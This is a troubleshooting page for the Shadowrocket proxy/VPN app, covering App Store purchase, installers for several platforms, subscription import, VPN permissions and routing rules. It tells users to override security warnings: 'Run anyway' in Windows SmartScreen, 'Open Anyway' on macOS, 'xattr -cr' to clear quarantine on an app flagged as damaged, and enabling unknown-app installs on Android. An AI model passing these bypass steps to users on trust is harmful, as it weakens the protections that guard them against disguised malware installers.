Shadowrocket Troubleshooting

Shadowrocket is available on all platforms. The iPhone / iPad app costs $2.99 as a one-time App Store purchase; the Mac / Windows / Android / Linux versions are free. There are 2 ways to get the app. ① Choose your device on the download page. ② iPhone / iPad users go to the App Store; for other platforms, download the installer from this site’s /dl/ directory. ③ If a system blocks the first launch on a computer or Android device, check the file source under the installation permissions section on this page, then allow it. Do not use installation files intended for another platform.

On iPhone / iPad, check these three details on the App Store product page: ① The name is Shadowrocket. ② The developer is Shadow Launch Technology Limited, and the app ID is 932747118. ③ The icon matches the official icon in this site’s header. The iPhone / iPad app costs $2.99 as a one-time App Store purchase; the Mac / Windows / Android / Linux versions are free. Don’t rely on search ranking or a similar name alone. A free listing with the same name is not the iPhone / iPad product described here.

App Store search results for iPhone / iPad depend on the country or region set for your Apple Account. This app is not available on the mainland China App Store. ① Check the account region used for Media & Purchases, not just your device language. ② Open the product page from the download page to check availability. ③ To change your region, go to Apple Account > Media & Purchases > View Account > Country/Region in Settings, and follow Apple’s instructions about your balance, subscriptions and payment method. Don’t keep changing your device region instead of checking the App Store account settings.

To restore an iPhone / iPad purchase, check your purchase history using the original purchasing account. ① Make sure you’re signed in to the App Store with the account used for the original purchase. ② Find Shadowrocket in that account’s purchased apps. ③ Download it again from the purchase record. If you’re asked to pay again, check the account and storefront before making another payment. The iPhone / iPad app costs $2.99 as a one-time App Store purchase; the Mac / Windows / Android / Linux versions are free. Restoring the app does not restore local configuration. Back up your configuration separately before switching devices.

On every platform, Shadowrocket requires your own existing subscription or server details. Buying the app once is not the same as buying a connection plan: the iPhone / iPad app costs $2.99 as a one-time App Store purchase, while the Mac / Windows / Android / Linux versions are free. App access and connection services are separate. ① Prepare valid details you already have. ② Import them using Subscribe or Add Server, as appropriate. ③ Check the server settings before connecting. This is the official site and manual; it does not provide, sell or recommend servers or subscriptions.

Choose the Shadowrocket installer for your Mac’s processor, not its screen size or year of purchase. ① Open About This Mac from the Apple menu. ② If it shows Chip and an Apple chip name, choose the Apple Silicon version; if it shows an Intel processor, choose the Intel version. ③ Download the matching dmg from the download page and install it. If you see a warning that the developer can’t be verified on first launch, first confirm the file came from this site. Then check the recent block in System Settings > Privacy & Security, choose Open Anyway and complete the system confirmation.

When opening an installer on Windows or Mac for the first time, check its source and the system warning. ① Make sure you downloaded the file from this site’s download page and that it is under /dl/shadowrocket/. ② In Windows SmartScreen, select More info, then Run anyway. If macOS can’t verify the developer, go to Privacy & Security and select Open Anyway. ③ If macOS explicitly says the app is damaged, make sure it’s in Applications, then follow the installation instructions and run xattr -cr /Applications/Shadowrocket.app. If security software reports a specific threat, stop and verify the alert. Don’t disable system-wide protection.

On Android, download the arm64 apk from the download page using your system browser. ① If WeChat won’t download the file, use its menu to open the site in a browser and try again. ② During installation, follow the system prompt to allow Install unknown apps for the browser or file manager you’re using. ③ Return to the original file and continue installation. You can turn off that source’s installation permission afterward. If the system reports an incompatible architecture or a parsing error, check your device architecture, confirm the download finished and verify the file source. Don’t keep changing unrelated system permissions.

Shadowrocket works on iPad. Check the App Store product page for the system requirements; check the same page for iPhone requirements. ① After installation, prepare your existing server or subscription details. ② When you connect for the first time, read the system prompt to add a VPN configuration. ③ Allow it only if it was triggered by your current action, then authenticate as required by the system. This permission creates a system network tunnel; it does not verify the server settings. App download, configuration import and connection are separate steps. Check each one independently.

On each platform, use the labels in the interface to find features; their English names match this manual. ① Home shows the connection status and SERVER. ② Config manages configurations; Settings is for preferences; Add Server is where you enter server details; Subscribe handles existing subscriptions. Don’t change protocol settings just to match a tutorial. On Linux, choose a package for your distribution: deb for Debian-based systems, rpm for Fedora-based systems. AppImage files must be made executable before you run them. See the download page for installation commands and permission steps; don’t apply instructions for another system.

Use the right entry point for a subscription or individual server details; the link’s appearance alone isn’t enough to tell. ① If your provider explicitly gives you a subscription URL, import it through Subscribe. ② If you only have a server address, port, protocol and authentication details, enter them individually under Add Server. ③ After importing, check SERVER for the expected entry, then select it to connect. Subscriptions usually manage server details in bulk. Configuration files may also include rules and DNS settings, so they serve different purposes. A successful import doesn’t mean the correct configuration is enabled.

If subscription import fails on any platform, first distinguish a download failure from a parsing failure. ① Copy your complete subscription URL again and check for spaces, line breaks or truncated parameters. ② Check whether your current network can reach the URL and whether the service is still valid. ③ If content loads but the list is empty, confirm the provider returned a subscription format supported by the app, not a sign-in page, error page or webpage sharing link. Don’t repeatedly overwrite a working subscription. Keep the existing entry and test the new URL separately. Don’t post links containing authentication details on public pages.

If QR code or clipboard import isn’t recognized, first check the content itself. ① With Scan QR Code, use a clear, complete QR code and check camera permissions if prompted. ② Copy only the actual connection details to the clipboard; don’t include explanatory text, quotation marks or line breaks. ③ Make sure the QR code contains a supported server link or subscription URL, not a regular webpage. If it only provides setup details, enter them manually with Add Server. Scanning only imports the information; you still need to check the protocol, port and authentication fields.

On every platform, updating a subscription replaces the list with the content returned this time, so server names or entries may change. ① Before updating, note the subscription name and server you’re using. ② After the update, look for an available entry in the same subscription group and select it. ③ If the entire group disappears or is empty, check whether the subscription is valid and what format it returned; don’t delete other configurations straight away. Manual changes to subscription-generated entries may be overwritten by a later update, so record any personal settings you need to keep separately. Updating a server list is not the same as updating a rules file.

After adding a server manually on any platform, compare each field with the original details you already have. Don’t fill in values based on the protocol name. ① Check the server address, port and protocol. ② Check the password or UUID, encryption method and transport settings. ③ For TLS, check requirements such as Server Name; for paths, preserve capitalization and slashes. Fields for Shadowsocks, VMess, VLESS, Trojan, Hysteria2 and WireGuard are not interchangeable. Saving only records the form. Use Connectivity Test and an actual connection attempt to investigate further.

On iPhone / iPad, check VPN configuration permissions first. On other platforms, check local network permissions and app prompts. ① Make sure you’ve selected a server with complete settings, then read any new system authorization prompt. ② Check whether another VPN connection or a managed-device policy is preventing the tunnel from being established. ③ Disconnect conflicting connections and try again; restart the device if needed. If you previously denied permission, check the relevant system settings instead of repeatedly tapping the switch. Before deleting a system configuration or reinstalling the app, back up existing configurations and record the error to avoid turning a permission issue into data loss.

On any platform, Connected only indicates the tunnel status; it doesn’t prove that the destination is reachable. ① Disconnect and confirm your basic network works, including signing in to public Wi-Fi if required. ② Reconnect, check the selected server and use Connectivity Test to help diagnose the issue. ③ If the connection test passes but domain names fail, check DNS and rules, and see whether only certain domains are affected. Change one thing at a time and record the result. Retest on both Wi-Fi and mobile data. Don’t change the server, DNS and entire configuration at once, or you won’t know which change made a difference.

In interfaces that show Global Routing, the three modes are Config, Proxy and Direct. ① For everyday rule-based routing, choose Config and confirm the expected configuration file is enabled. ② To troubleshoot the proxy route temporarily, switch to Proxy and see whether the issue persists. ③ To check the direct route, use Direct. Switching modes changes how routing is decided; it won’t fix incorrect server authentication details, and it doesn’t guarantee that all app traffic is controlled. Restore your original mode after testing so temporary diagnostic settings aren’t left in place.

In Config mode, first confirm which configuration is enabled, then check the rule order. ① Check the actual domain or IP you’re accessing; don’t use the webpage title as the domain. ② Before the target rules, such as DOMAIN-SUFFIX or IP-CIDR, check for a broader rule that might match first. ③ Confirm FINAL is in the intended fallback position at the end, and check what the PROXY, DIRECT and REJECT policies do. Rules are generally matched from top to bottom. Once a rule matches, the app won’t keep looking for one that seems more intuitive. To reproduce an issue, make only the test changes relevant to it, and save the original configuration first.

On any platform, distinguish background activity, network retries and configuration changes after an update. Don’t rely on the VPN icon alone to identify battery drain. ① Compare the app’s battery or activity records with actual data-transfer times in system settings. ② Check for frequent network switching, continuous testing or repeated reconnects caused by server failures. ③ Review On Demand conditions to reduce unnecessary connection attempts. If the issue began after an update, restart and confirm the server and configuration haven’t changed, then test with a known working configuration. Back up before making changes and note what triggers the issue. See the troubleshooting manual for a more complete symptom-by-symptom process.